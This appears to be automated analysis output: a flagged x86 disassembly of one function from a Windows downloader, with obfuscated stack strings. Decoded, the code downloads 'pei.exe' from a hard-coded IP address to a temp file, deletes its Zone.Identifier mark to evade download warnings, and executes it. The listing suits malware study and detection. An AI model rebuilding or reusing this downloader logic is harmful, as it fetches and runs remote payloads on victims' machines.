Function at 0x5ab000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x978
call fcn.005abcd0
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x5ab022
jmp 0x5ab76b
push 0
push 1
push 0x9b102e2d
mov eax, dword [ebp - 0x23c]
push eax
call fcn.005aba80
add esp, 0x10
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 0
jne 0x5ab04e
jmp 0x5ab76b
mov ecx, dword [ebp - 0x73c]
push ecx
push 1
push 0x526e0dcd
mov edx, dword [ebp - 0x23c]
push edx
call fcn.005aba80
add esp, 0x10
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 0
jne 0x5ab07f
jmp 0x5ab76b
mov eax, dword [ebp - 0x73c]
push eax
push 1
push 0xc4b4a94d
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.005aba80
add esp, 0x10
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 0
jne 0x5ab0b0
jmp 0x5ab76b
mov edx, 0x25
mov word [ebp - 0x768], dx
mov eax, 0x61
mov word [ebp - 0x766], ax
mov ecx, 0x70
mov word [ebp - 0x764], cx
mov edx, 0x70
mov word [ebp - 0x762], dx
mov eax, 0x64
mov word [ebp - 0x760], ax
mov ecx, 0x61
mov word [ebp - 0x75e], cx
mov edx, 0x74
mov word [ebp - 0x75c], dx
mov eax, 0x61
mov word [ebp - 0x75a], ax
mov ecx, 0x25
mov word [ebp - 0x758], cx
mov edx, 0x5c
mov word [ebp - 0x756], dx
mov eax, 0x77
mov word [ebp - 0x754], ax
mov ecx, 0x69
mov word [ebp - 0x752], cx
mov edx, 0x6e
mov word [ebp - 0x750], dx
mov eax, 0x64
mov word [ebp - 0x74e], ax
mov ecx, 0x72
mov word [ebp - 0x74c], cx
mov edx, pe_nt_image_headers32
mov word [ebp - 0x74a], dx
mov eax, 0x2e
mov word [ebp - 0x748], ax
mov ecx, 0x74
mov word [ebp - 0x746], cx
mov edx, pe_nt_image_headers32
mov word [ebp - 0x744], dx
mov eax, 0x74
mov word [ebp - 0x742], ax
xor ecx, ecx
mov word [ebp - 0x740], cx
push 0x104
lea edx, [ebp - 0x978]
push edx
lea eax, [ebp - 0x768]
push eax
call dword [ebp - 0x6a8]
lea ecx, [ebp - 0x978]
push ecx
call dword [ebp - 0x76c]
cmp eax, 0xffffffff
je 0x5ab1d9
jmp 0x5ab76b
mov byte [ebp - 0x238], 0x75
mov byte [ebp - 0x237], 0x72
mov byte [ebp - 0x236], 0x6c
mov byte [ebp - 0x235], 0x6d
mov byte [ebp - 0x234], 0x6f
mov byte [ebp - 0x233], 0x6e
mov byte [ebp - 0x232], 0x2e
mov byte [ebp - 0x231], 0x64
mov byte [ebp - 0x230], 0x6c
mov byte [ebp - 0x22f], 0x6c
mov byte [ebp - 0x22e], 0
push 0
push 0
lea edx, [ebp - 0x238]
push edx
call dword [ebp - 0x73c]
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 0
jne 0x5ab24b
jmp 0x5ab76b
mov eax, dword [ebp - 0x73c]
push eax
push 1
push 0x7a3a310
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.005aba80
add esp, 0x10
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 0
jne 0x5ab27c
jmp 0x5ab76b
lea edx, [ebp - 0x650]
push edx
push 0x104
call dword [ebp - 0x6e8]
test eax, eax
jne 0x5ab297
jmp 0x5ab76b
mov eax, dword [ebp - 0x73c]
push eax
push 1
push 0x165d9659
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.005aba80
add esp, 0x10
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], 0
jne 0x5ab2c8
jmp 0x5ab76b
lea edx, [ebp - 0x448]
push edx
push 0
push 0
lea eax, [ebp - 0x650]
push eax
call dword [ebp - 0x6ec]
test eax, eax
jne 0x5ab2e9
jmp 0x5ab76b
push 0x2e
lea ecx, [ebp - 0x448]
push ecx
call fcn.005ab9e0
add esp, 8
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jne 0x5ab30e
jmp 0x5ab76b
mov edx, 0x2e
mov word [ebp - 0x65c], dx
mov eax, 0x65
mov word [ebp - 0x65a], ax
mov ecx, pe_nt_image_headers32
mov word [ebp - 0x658], cx
mov edx, 0x65
mov word [ebp - 0x656], dx
xor eax, eax
mov word [ebp - 0x654], ax
push 0xa
lea ecx, [ebp - 0x65c]
push ecx
mov edx, dword [ebp - 0x22c]
push edx
call fcn.005ab970
add esp, 0xc
mov eax, dword [ebp - 0x73c]
push eax
push 1
push 0xeae447bb
mov ecx, dword [ebp - 0x664]
push ecx
call fcn.005aba80
add esp, 0x10
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jne 0x5ab390
jmp 0x5ab76b
mov edx, 0x68
mov word [ebp - 0x6a4], dx
mov eax, 0x74
mov word [ebp - 0x6a2], ax
mov ecx, 0x74
mov word [ebp - 0x6a0], cx
mov edx, 0x70
mov word [ebp - 0x69e], dx
mov eax, 0x3a
mov word [ebp - 0x69c], ax
mov ecx, 0x2f
mov word [ebp - 0x69a], cx
mov edx, 0x2f
mov word [ebp - 0x698], dx
mov eax, 0x31
mov word [ebp - 0x696], ax
mov ecx, 0x38
mov word [ebp - 0x694], cx
mov edx, 0x35
mov word [ebp - 0x692], dx
mov eax, 0x2e
mov word [ebp - 0x690], ax
mov ecx, 0x32
mov word [ebp - 0x68e], cx
mov edx, 0x31
mov word [ebp - 0x68c], dx
mov eax, 0x35
mov word [ebp - 0x68a], ax
mov ecx, 0x2e
mov word [ebp - 0x688], cx
mov edx, 0x31
mov word [ebp - 0x686], dx
mov eax, 0x31
mov word [ebp - 0x684], ax
mov ecx, 0x33
mov word [ebp - 0x682], cx
mov edx, 0x2e
mov word [ebp - 0x680], dx
mov eax, 0x36
mov word [ebp - 0x67e], ax
mov ecx, 0x36
mov word [ebp - 0x67c], cx
mov edx, 0x2f
mov word [ebp - 0x67a], dx
mov eax, 0x70
mov word [ebp - 0x678], ax
mov ecx, 0x65
mov word [ebp - 0x676], cx
mov edx, 0x69
mov word [ebp - 0x674], dx
mov eax, 0x2e
mov word [ebp - 0x672], ax
mov ecx, 0x65
mov word [ebp - 0x670], cx
mov edx, pe_nt_image_headers32
mov word [ebp - 0x66e], dx
mov eax, 0x65
mov word [ebp - 0x66c], ax
xor ecx, ecx
mov word [ebp - 0x66a], cx
push 0
push 0
lea edx, [ebp - 0x448]
push edx
lea eax, [ebp - 0x6a4]
push eax
push 0
call dword [ebp - 0x228]
test eax, eax
je 0x5ab518
jmp 0x5ab76b
mov byte [ebp - 0x224], 0x75
mov byte [ebp - 0x223], 0x73
mov byte [ebp - 0x222], 0x65
mov byte [ebp - 0x221], 0x72
mov byte [ebp - 0x220], 0x33
mov byte [ebp - 0x21f], 0x32
mov byte [ebp - 0x21e], 0x2e
mov byte [ebp - 0x21d], 0x64
mov byte [ebp - 0x21c], 0x6c
mov byte [ebp - 0x21b], 0x6c
mov byte [ebp - 0x21a], 0
push 0
push 0
lea ecx, [ebp - 0x224]
push ecx
call dword [ebp - 0x73c]
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 0
jne 0x5ab58a
jmp 0x5ab76b
mov edx, dword [ebp - 0x73c]
push edx
push 1
push 0x201d0dd6
mov eax, dword [ebp - 0x660]
push eax
call fcn.005aba80
add esp, 0x10
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0
jne 0x5ab5bb
jmp 0x5ab76b
mov ecx, 0x25
mov word [ebp - 0x6e0], cx
mov edx, 0x73
mov word [ebp - 0x6de], dx
mov eax, 0x3a
mov word [ebp - 0x6dc], ax
mov ecx, 0x5a
mov word [ebp - 0x6da], cx
mov edx, 0x6f
mov word [ebp - 0x6d8], dx
mov eax, 0x6e
mov word [ebp - 0x6d6], ax
mov ecx, 0x65
mov word [ebp - 0x6d4], cx
mov edx, 0x2e
mov word [ebp - 0x6d2], dx
mov eax, 0x49
mov word [ebp - 0x6d0], ax
mov ecx, 0x64
mov word [ebp - 0x6ce], cx
mov edx, 0x65
mov word [ebp - 0x6cc], dx
mov eax, 0x6e
mov word [ebp - 0x6ca], ax
mov ecx, 0x74
mov word [ebp - 0x6c8], cx
mov edx, 0x69
mov word [ebp - 0x6c6], dx
mov eax, 0x66
mov word [ebp - 0x6c4], ax
mov ecx, 0x69
mov word [ebp - 0x6c2], cx
mov edx, 0x65
mov word [ebp - 0x6c0], dx
mov eax, 0x72
mov word [ebp - 0x6be], ax
xor ecx, ecx
mov word [ebp - 0x6bc], cx
lea edx, [ebp - 0x448]
push edx
lea eax, [ebp - 0x6e0]
push eax
lea ecx, [ebp - 0x218]
push ecx
call dword [ebp - 0x668]
add esp, 0xc
mov edx, dword [ebp - 0x73c]
push edx
push 1
push 0x654fde9a
mov eax, dword [ebp - 0x23c]
push eax
call fcn.005aba80
add esp, 0x10
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 0
jne 0x5ab6eb
jmp 0x5ab76b
lea ecx, [ebp - 0x218]
push ecx
call dword [ebp - 0x6e4]
mov edx, dword [ebp - 0x73c]
push edx
push 1
push 0x5c856c47
mov eax, dword [ebp - 0x23c]
push eax
call fcn.005aba80
add esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x5ab720
jmp 0x5ab76b
push 0x44
push 0
lea ecx, [ebp - 0x738]
push ecx
call fcn.005ab7a0
add esp, 0xc
mov dword [ebp - 0x738], 0x44
lea edx, [ebp - 0x6b8]
push edx
lea eax, [ebp - 0x738]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x448]
push ecx
call dword [ebp - 0x10]
xor edx, edx
jne 0x5ab009
mov dword [ebp - 8], 0x8b120
call fcn.005abcc0
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
add eax, dword [edx + 0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
call dword [ebp - 4]
mov esp, ebp
pop ebp
ret